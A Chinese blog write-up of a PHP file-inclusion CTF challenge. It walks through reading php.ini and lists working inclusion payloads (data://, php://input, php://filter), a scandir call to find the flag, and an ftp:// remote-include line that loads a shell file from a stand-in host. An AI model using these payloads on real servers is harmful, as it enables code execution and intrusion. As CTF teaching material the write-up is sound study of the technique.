CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议。
先放出原文链接(http://www.freebuf.com/column/150028.html)
题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目。
站点地址:http://chall.tasteless.eu/
这次的题目链接:http://level3.tasteless.eu/
下面就做题吧。
首先看下源码
<?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?
always be UP TO DATE!
hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!
$inc = @$_GET['file'];
@require_once($inc);
?>
源码给的很直接,不像某些CTF的比赛,WEB题目都能整成密码题目,美名其曰解密出源码,套路很深(吐槽)
分析一下上面的代码
1,highlight_file() 函数对index.php文件进行语法高亮显示。
2,包含了anti_rfi.php,并提示不允许进行远程文件包含
3,使用require_one包含了GET请求的file参数。
4,注释的提示信息:要读取PHP.ini ,里面有敏感信息
现在思路已经很明确了,首先读取php.ini和anti_rfi.php
首先来看一下php.ini,直接打开链接(http://level3.tasteless.eu/php.ini),ctrl+f 搜索allow
从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。
此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,
但是已经知道网站的根目录/var/www/chall/level3
因为限制了命令执行的函数,所以不能够执行系统命令
失败
失败
但是PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存
<?php print_r(scandir('/var/www/chall/level3'))?>
看到了th3_f14g文件,直接访问:http://level3.tasteless.eu/th3_fl4g
成功得到flag
题目就这样做完了,虽然题目不是很难,但是用到的技巧很是高妙。
他们的一个总结:
解题过程大致有如下3步骤:
1.分析站点给出的源代码
2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议
3.使用相应的伪协议执行代码获取flag
当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。
PHP 读文件和代码执行的方式:
1.?file=data:text/plain,<?php phpinfo()?>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]<?php phpinfo()?>
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。
如,使用http://level3.tasteless.eu/index.php?file=php://input
<?php highlight_file(‘anti_rfi.php’)?>
读取anti_rfi.php文件的源码信息。
从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。
当allow_url_fopen=On并且 allow_url_include=On时,就可以使用ftp。payload:index.php?file=ftp://www.shell.com/shell.txt
就到这里了,任重而道远。
CTF 文件包含与伪协议的更多相关文章
- 一道内部ctf文件包含题
拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试 文件变成中文的了,说明中文语言进行了包含并替换 ...
- CTF 文件包含
目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...
- CTF文件包含
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...
- CTF PHP文件包含--session
PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...
- PHP文件包含 整理
文件包含 目录 文件包含 1. 概述 1.1 常见的引发漏洞的函数: 1.2 利用条件 1.3 分类和利用思路 2. 利用方法 2.1 配合文件解析漏洞来包含 2.2 读取系统敏感文件(路径遍历) 2 ...
- php伪协议,利用文件包含漏洞
php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...
- 配合php伪协议利用文件包含漏洞
文章来源: https://blog.csdn.net/zpy1998zpy/article/details/80598768?utm_medium=distribute.pc_relevant.no ...
- PHP文件包含及使用伪协议getshell
file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
随机推荐
- iOS10新特性之SiriKit
在6月14日凌晨的WWDC2016大会上,苹果提出iOS10是一次里程碑并且推出了十个新特性,大部分的特性是基于iPhone自身的原生应用的更新,具体的特性笔者不在这里再次叙述,请看客们移步WWDC2 ...
- SQLyog快捷键汇总
Ctrl+M 创建一个新的连接Ctrl+N 使用当前设置新建连接Ctrl+F4 断开当前连接 对象浏览器 F5 刷新对象浏览器(默认)Ctrl+B 设置焦点于对象浏览器 SQL 窗 ...
- PHP 404页面/如何设置404页面/URL静态化/URL伪静态化
php中如何设置404页面及其他错误页面 首先在项目根目录下新建文件,文件名为" .htaccess " 在该文件中写入一下配置项: ErrorDocument 404 /404. ...
- UVa12100,Printer Queue
水题,1A过的 数据才100,o(n^3)都能过,感觉用优先队列来做挺麻烦的,直接暴力就可以了,模拟的队列,没用stl #include <iostream> #include <c ...
- 根据选中不同的图元来显示不同的属性面板changePropertyPane.html
在现实生活中,我们有很多时候需要根据选中不同的东西来获取不同的属性,并且就算是同类型的东西我们有时也希望显示不同的属性,就像每个人都有不同的个性,可能会有相同点,但是不可能完全相同. 根据这个思想,我 ...
- 【转】缓存淘汰算法系列之2——LFU类
原文地址 :http://www.360doc.com/content/13/0805/16/13247663_304916783.shtml 1. LFU类 1.1. LFU 1.1.1. 原理 L ...
- Android———最详细的系统对话框使用
在实际应用开发中,用到系统对话框中的情况几乎是没有的.按开发流程来说,UI工程师都会给出每一个弹窗的样式,故而在实际开发中都是自定义弹窗的. 即使用到的地方不多,但是我们也是需要了解并且能熟练的运用它 ...
- Fedora 下 Google-Chrome 经常出现僵尸进程的权宜办法
对于Chrome_ProcessL 和Chrome_FileThre这两僵尸进程,估计遇到过的人都对其各种无奈吧,放任不管吧,越来越多,然后卡死,只能另开个X环境或者在其他的TTY里干掉他俩再切回去, ...
- 别指望一文读懂Java并发之从一个线程开始
Understanding concurrent programming is on the same order of difficulty as understanding object-orie ...
- CentOS设置系统时间、硬件时间、以及定时校对时间
CentOS设置系统时间和时区 一.设置时区 方法一:使用setup工具 setup 选择Timezone configuration 选择Asia/Shanghai 空格键勾选上System clo ...